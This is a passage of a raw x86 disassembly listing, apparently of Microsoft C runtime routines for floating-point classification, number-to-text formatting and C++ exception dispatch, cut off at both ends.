short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421DC6 or byte ptr [ebp+var_C+3], 80h loc_421DC6: ; CODE XREF: sub_421BFF+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_421DAF loc_421DCC: ; CODE XREF: sub_421BFF+1ACj test edx, edx jz short loc_421DD8 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421DD8: ; CODE XREF: sub_421BFF+183j ; sub_421BFF+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421DE4 ; --------------------------------------------------------------------------- loc_421DE2: ; CODE XREF: sub_421BFF+14Ej mov esi, ebx loc_421DE4: ; CODE XREF: sub_421BFF+1E1j test esi, esi pop esi jz short loc_421DF1 push 10h call sub_4220AC pop ecx loc_421DF1: ; CODE XREF: sub_421BFF+1E8j and edi, 0FFFFFFFDh loc_421DF4: ; CODE XREF: sub_421BFF+26j ; sub_421BFF+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_421E0B test byte ptr [ebp+arg_8], 20h jz short loc_421E0B push 20h call sub_4220AC pop ecx and edi, 0FFFFFFEFh loc_421E0B: ; CODE XREF: sub_421BFF+1F9j ; sub_421BFF+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_421BFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421E16(int,int,int,int,int,int,double,int) sub_421E16 proc near ; CODE XREF: sub_421861+2Bp ; sub_4218B4+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421EC4 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_421E81 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_422089 lea eax, [ebp+var_20] push eax call sub_42482D add esp, 0Ch test eax, eax jnz short loc_421E7B push esi call sub_421E9E pop ecx loc_421E7B: ; CODE XREF: sub_421E16+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_421E81: ; CODE XREF: sub_421E16+14j push 0FFFFh push [ebp+arg_20] call sub_422089 push [ebp+arg_0] call sub_421E9E fld [ebp+arg_18] add esp, 0Ch leave retn sub_421E16 endp ; =============== S U B R O U T I N E ======================================= sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp ; sub_421E16+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421EB9 jle short locret_421EC3 cmp eax, 3 jg short locret_421EC3 mov dword_4DBDDC, 22h retn ; --------------------------------------------------------------------------- loc_421EB9: ; CODE XREF: sub_421E9E+7j mov dword_4DBDDC, 21h locret_421EC3: ; CODE XREF: sub_421E9E+9j ; sub_421E9E+Ej retn sub_421E9E endp ; =============== S U B R O U T I N E ======================================= sub_421EC4 proc near ; CODE XREF: sub_421E16+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43D308 loc_421ECB: ; CODE XREF: sub_421EC4+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421EE1 add eax, 8 inc ecx cmp eax, offset dbl_43D3E0 jl short loc_421ECB xor eax, eax retn ; --------------------------------------------------------------------------- loc_421EE1: ; CODE XREF: sub_421EC4+Dj mov eax, off_43D30C[ecx*8] retn sub_421EC4 endp ; =============== S U B R O U T I N E ======================================= sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421EF5 push 5 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EF5: ; CODE XREF: sub_421EE9+6j test al, 8 jz short loc_421EFD push 1 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421EFD: ; CODE XREF: sub_421EE9+Ej test al, 4 jz short loc_421F05 push 2 jmp short loc_421F0B ; --------------------------------------------------------------------------- loc_421F05: ; CODE XREF: sub_421EE9+16j test al, 1 jz short loc_421F0D push 3 loc_421F0B: ; CODE XREF: sub_421EE9+Aj ; sub_421EE9+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_421F0D: ; CODE XREF: sub_421EE9+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421EE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F16(double) sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp ; sub_41D19B:loc_41D221p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421F28(double,int) sub_421F28 proc near ; CODE XREF: sub_421FAB+82p ; sub_421FAB+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421F28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421F51 proc near ; CODE XREF: sub_41D055+31p ; sub_41D19B+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_421F68 cmp [ebp+arg_0], edx jnz short loc_421F7A push 1 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F68: ; CODE XREF: sub_421F51+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_421F7A cmp [ebp+arg_0], edx jnz short loc_421F7A push 2 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F7A: ; CODE XREF: sub_421F51+11j ; sub_421F51+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_421F8D push 3 jmp short loc_421FA4 ; --------------------------------------------------------------------------- loc_421F8D: ; CODE XREF: sub_421F51+36j cmp cx, 7FF0h jnz short loc_421FA7 test [ebp+arg_4], 7FFFFh jnz short loc_421FA2 cmp [ebp+arg_0], edx jz short loc_421FA7 loc_421FA2: ; CODE XREF: sub_421F51+4Aj push 4 loc_421FA4: ; CODE XREF: sub_421F51+15j ; sub_421F51+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421FA7: ; CODE XREF: sub_421F51+41j ; sub_421F51+4Fj xor eax, eax pop ebp retn sub_421F51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421FAB(double,int) sub_421FAB proc near ; CODE XREF: sub_421BFF+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427860 push esi fnstsw ax sahf jnz short loc_421FCB fldz xor esi, esi fstp [ebp+var_8] jmp loc_422061 ; --------------------------------------------------------------------------- loc_421FCB: ; CODE XREF: sub_421FAB+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42203A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421FE3 cmp dword ptr [ebp+arg_0], ecx jz short loc_42203A loc_421FE3: ; CODE XREF: sub_421FAB+31j fld [ebp+arg_0] fcomp dbl_427860 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_421FFB push 1 pop eax jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_421FFB: ; CODE XREF: sub_421FAB+49j xor eax, eax loc_421FFD: ; CODE XREF: sub_421FAB+4Ej ; sub_421FAB+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_422016 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_422010 or dword ptr [ebp+arg_0+4], 1 loc_422010: ; CODE XREF: sub_421FAB+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_421FFD ; --------------------------------------------------------------------------- loc_422016: ; CODE XREF: sub_421FAB+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_422024 or byte ptr [ebp+arg_0+7], 80h loc_422024: ; CODE XREF: sub_421FAB+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 fstp [ebp+var_8] add esp, 0Ch jmp short loc_422061 ; --------------------------------------------------------------------------- loc_42203A: ; CODE XREF: sub_421FAB+28j ; sub_421FAB+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421F28 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_422061: ; CODE XREF: sub_421FAB+1Bj ; sub_421FAB+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_421FAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42206C proc near ; CODE XREF: sub_42194C+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_42206C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42207A proc near ; CODE XREF: sub_42194C+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_42207A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422089 proc near ; CODE XREF: sub_41D055+13p ; sub_41D055+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_422089 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp ; sub_421BFF+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_4220C3 fld tbyte_43D408 fistp [ebp+arg_0] wait loc_4220C3: ; CODE XREF: sub_4220AC+Bj test cl, 8 jz short loc_4220D8 fstsw ax fld tbyte_43D408 fstp [ebp+var_8] wait fstsw ax loc_4220D8: ; CODE XREF: sub_4220AC+1Aj test cl, 10h jz short loc_4220E7 fld tbyte_43D414 fstp [ebp+var_8] wait loc_4220E7: ; CODE XREF: sub_4220AC+2Fj test cl, 4 jz short loc_4220F5 fldz fld1 fdivrp st(1), st fstp st wait loc_4220F5: ; CODE XREF: sub_4220AC+3Ej test cl, 20h jz short locret_422100 fldpi fstp [ebp+var_8] wait locret_422100: ; CODE XREF: sub_4220AC+4Cj leave retn sub_4220AC endp ; =============== S U B R O U T I N E ======================================= sub_422102 proc near ; CODE XREF: sub_41D124+Fp push 30000h push 10000h call sub_424865 pop ecx pop ecx retn sub_422102 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427870 fstp [ebp+var_8] fld dbl_427868 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4276F8 fnstsw ax sahf jbe short loc_42214E push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_42214E: ; CODE XREF: sub_422114+33j xor eax, eax leave retn sub_422114 endp ; =============== S U B R O U T I N E ======================================= sub_422152 proc near ; CODE XREF: sub_41D124+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 26B0C06h test eax, eax jz short loc_422176 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 26E03D4h nop test eax, eax jz short loc_422176 push 0 call eax ; sub_41D124 retn ; --------------------------------------------------------------------------- loc_422176: ; CODE XREF: sub_422152+Dj ; sub_422152+1Dj jmp sub_422114 sub_422152 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp ; DATA XREF: sub_41D13C+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41DFEC cmp eax, 65h pop ecx jz short loc_4221BB loc_42218F: ; CODE XREF: sub_42217B+3Ej inc esi cmp dword_43D084, 1 jle short loc_4221A8 movsx eax, byte ptr [esi] push 4 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_4221B7 ; --------------------------------------------------------------------------- loc_4221A8: ; CODE XREF: sub_42217B+1Cj movsx eax, byte ptr [esi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 4 loc_4221B7: ; CODE XREF: sub_42217B+2Bj test eax, eax jnz short loc_42218F loc_4221BB: ; CODE XREF: sub_42217B+12j mov cl, byte_43D088 mov al, [esi] mov [esi], cl inc esi loc_4221C6: ; CODE XREF: sub_42217B+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_4221C6 pop esi retn sub_42217B endp ; =============== S U B R O U T I N E ======================================= sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p ; DATA XREF: sub_41D13C+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_43D088 mov cl, [eax] test cl, cl jz short loc_4221F1 loc_4221E5: ; CODE XREF: sub_4221D5+1Aj cmp cl, dl jz short loc_4221F1 mov cl, [eax+1] inc eax test cl, cl jnz short loc_4221E5 loc_4221F1: ; CODE XREF: sub_4221D5+Ej ; sub_4221D5+12j mov cl, [eax] inc eax test cl, cl jz short locret_422222 loc_4221F8: ; CODE XREF: sub_4221D5+34j mov cl, [eax] test cl, cl jz short loc_42220B cmp cl, 65h jz short loc_42220B cmp cl, 45h jz short loc_42220B inc eax jmp short loc_4221F8 ; --------------------------------------------------------------------------- loc_42220B: ; CODE XREF: sub_4221D5+27j ; sub_4221D5+2Cj ... mov ecx, eax loc_42220D: ; CODE XREF: sub_4221D5+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_42220D cmp [eax], dl jnz short loc_422218 dec eax loc_422218: ; CODE XREF: sub_4221D5+40j ; sub_4221D5+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_422218 locret_422222: ; CODE XREF: sub_4221D5+21j retn sub_4221D5 endp ; =============== S U B R O U T I N E ======================================= sub_422223 proc near ; DATA XREF: sub_41D13C+28o ; ___:off_43D430o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_427860 fnstsw ax sahf jb short loc_422238 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_422238: ; CODE XREF: sub_422223+Fj xor eax, eax retn sub_422223 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42223B proc near ; CODE XREF: sub_420DB0+430p ; DATA XREF: sub_41D13C+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_422264 lea eax, [ebp+var_8] push eax call sub_424D28 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_422264: ; CODE XREF: sub_42223B+Cj lea eax, [ebp+arg_8] push eax call sub_424D55 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_42223B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422279 proc near ; CODE XREF: sub_4224F6+17p ; sub_422540+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4DBE5C, 0 push ebx push esi jz short loc_4222AE mov ebx, [ebp+arg_8] mov eax, dword_4DBE58 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_422591 pop ecx pop ecx jmp short loc_4222E6 ; --------------------------------------------------------------------------- loc_4222AE: ; CODE XREF: sub_422279+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_424DF9 mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_424D82 add esp, 14h loc_4222E6: ; CODE XREF: sub_422279+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_4222F2 mov byte ptr [eax], 2Dh inc eax loc_4222F2: ; CODE XREF: sub_422279+73j test ebx, ebx jle short loc_42230A mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_43D088 mov eax, edi pop edi mov [eax], cl loc_42230A: ; CODE XREF: sub_422279+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4DBE5C, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_41C890 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_422331 mov byte ptr [ecx], 45h loc_422331: ; CODE XREF: sub_422279+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_422376 mov ebx, [esi+4] dec ebx jns short loc_422345 neg ebx mov byte ptr [ecx], 2Dh loc_422345: ; CODE XREF: sub_422279+C5j inc ecx cmp ebx, 64h jl short loc_42235C mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_42235C: ; CODE XREF: sub_422279+D0j inc ecx cmp ebx, 0Ah jl short loc_422373 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_422373: ; CODE XREF: sub_422279+E7j add [ecx+1], bl loc_422376: ; CODE XREF: sub_422279+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_422279 endp ; =============== S U B R O U T I N E ======================================= sub_42237D proc near ; CODE XREF: sub_42251D+13p ; sub_422540+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4DBE5C, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_4223B8 mov eax, dword_4DBE60 mov ebx, [esp+10h+arg_8] mov esi, dword_4DBE58 cmp eax, ebx jnz short loc_4223E8 xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_4223E8 ; --------------------------------------------------------------------------- loc_4223B8: ; CODE XREF: sub_42237D+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_424DF9 mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_424D82 add esp, 14h loc_4223E8: ; CODE XREF: sub_42237D+22j ; sub_42237D+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_4223F6 mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_4223F6: ; CODE XREF: sub_42237D+70j mov eax, [esi+4] test eax, eax jg short loc_42240D push 1 push edi call sub_422591 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_42240F ; --------------------------------------------------------------------------- loc_42240D: ; CODE XREF: sub_42237D+7Ej add edi, eax loc_42240F: ; CODE XREF: sub_42237D+8Ej test ebx, ebx jle short loc_422454 push 1 push edi call sub_422591 mov al, byte_43D088 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_422454 cmp byte_4DBE5C, 0 jz short loc_422439 neg esi jmp short loc_42243F ; --------------------------------------------------------------------------- loc_422439: ; CODE XREF: sub_42237D+B6j neg esi cmp ebx, esi jl short loc_422441 loc_42243F: ; CODE XREF: sub_42237D+BAj mov ebx, esi loc_422441: ; CODE XREF: sub_42237D+C0j push ebx push edi call sub_422591 push ebx push 30h push edi call sub_41BF70 add esp, 14h loc_422454: ; CODE XREF: sub_42237D+94j ; sub_42237D+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_42237D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245B proc near ; CODE XREF: sub_422540+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_424DF9 mov dword_4DBE58, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov dword_4DBE60, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_424D82 mov eax, dword_4DBE58 add esp, 14h mov ecx, [eax+4] dec ecx cmp dword_4DBE60, ecx setl cl mov byte_4DBE64, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov dword_4DBE60, eax jl short loc_4224E1 cmp eax, ebx jge short loc_4224E1 test cl, cl jz short loc_4224D2 loc_4224C8: ; CODE XREF: sub_42245B+72j mov al, [esi] inc esi test al, al jnz short loc_4224C8 and [esi-2], al loc_4224D2: ; CODE XREF: sub_42245B+6Bj push ebx push [ebp+arg_4] push edi call sub_42251D add esp, 0Ch jmp short loc_4224F1 ; --------------------------------------------------------------------------- loc_4224E1: ; CODE XREF: sub_42245B+63j ; sub_42245B+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_4224F6 add esp, 10h loc_4224F1: ; CODE XREF: sub_42245B+84j pop edi pop esi pop ebx pop ebp retn sub_42245B endp ; =============== S U B R O U T I N E ======================================= sub_4224F6 proc near ; CODE XREF: sub_42245B+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov byte_4DBE5C, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_422279 and byte_4DBE5C, 0 add esp, 10h retn sub_4224F6 endp ; =============== S U B R O U T I N E ======================================= sub_42251D proc near ; CODE XREF: sub_42245B+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov byte_4DBE5C, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_42237D and byte_4DBE5C, 0 add esp, 0Ch retn sub_42251D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422540 proc near ; CODE XREF: sub_41FF3F+3AAp ; DATA XREF: sub_41D13Co ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_42257B cmp [ebp+arg_8], 45h jz short loc_42257B cmp [ebp+arg_8], 66h jnz short loc_422568 push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42237D add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_422568: ; CODE XREF: sub_422540+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_42245B jmp short loc_42258C ; --------------------------------------------------------------------------- loc_42257B: ; CODE XREF: sub_422540+7j ; sub_422540+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_422279 loc_42258C: ; CODE XREF: sub_422540+39j add esp, 10h pop ebp retn sub_422540 endp ; =============== S U B R O U T I N E ======================================= sub_422591 proc near ; CODE XREF: sub_422279+2Cp ; sub_42237D+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_4225B4 push esi mov esi, [esp+8+arg_0] push esi call sub_41B9C0 inc eax push eax push esi add esi, edi push esi call sub_41D670 add esp, 10h pop esi loc_4225B4: ; CODE XREF: sub_422591+7j pop edi retn sub_422591 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225B6 proc near ; CODE XREF: ___:0041D31Cp ; sub_41D385+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_4225CC call sub_422E52 loc_4225CC: ; CODE XREF: sub_4225B6+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_4225F4 cmp dword ptr [esi+4], 0 jz short loc_42264A cmp [ebp+arg_14], 0 jnz short loc_42264A push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4228FD add esp, 10h jmp short loc_42264A ; --------------------------------------------------------------------------- loc_4225F4: ; CODE XREF: sub_4225B6+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_42264A cmp dword ptr [eax], 0E06D7363h jnz short loc_42262E cmp [eax+14h], edi jbe short loc_42262E mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_42262E movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_42264D ; --------------------------------------------------------------------------- loc_42262E: ; CODE XREF: sub_4225B6+4Aj ; sub_4225B6+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_422651 add esp, 20h loc_42264A: ; CODE XREF: sub_4225B6+23j ; sub_4225B6+29j ... push 1 pop eax loc_42264D: ; CODE XREF: sub_4225B6+76j pop edi pop esi pop ebp retn sub_4225B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422651 proc near ; CODE XREF: sub_4225B6+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_422671 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_422676 loc_422671: ; CODE XREF: sub_422651+16j call sub_422E52 loc_422676: ; CODE XREF: sub_422651+1Ej push ebx push esi mov esi, [ebp+arg_0] mov ebx, 0E06D7363h push edi mov edi, 19930520h cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA mov esi, dword_4DBE68 test esi, esi jz loc_4227C8 mov eax, dword_4DBE6C push 1 push esi mov [ebp+arg_8], eax mov byte ptr [ebp+var_14], 1 call sub_424F80 pop ecx test eax, eax pop ecx jnz short loc_4226CC call sub_422E52 loc_4226CC: ; CODE XREF: sub_422651+74j cmp [esi], ebx jnz loc_4227CD cmp dword ptr [esi+10h], 3 jnz short loc_4226EA cmp [esi+14h], edi jnz short loc_4226EA cmp dword ptr [esi+1Ch], 0 jnz short loc_4226EA call sub_422E52 loc_4226EA: ; CODE XREF: sub_422651+41j ; sub_422651+46j ... cmp [esi], ebx jnz loc_4227CD cmp 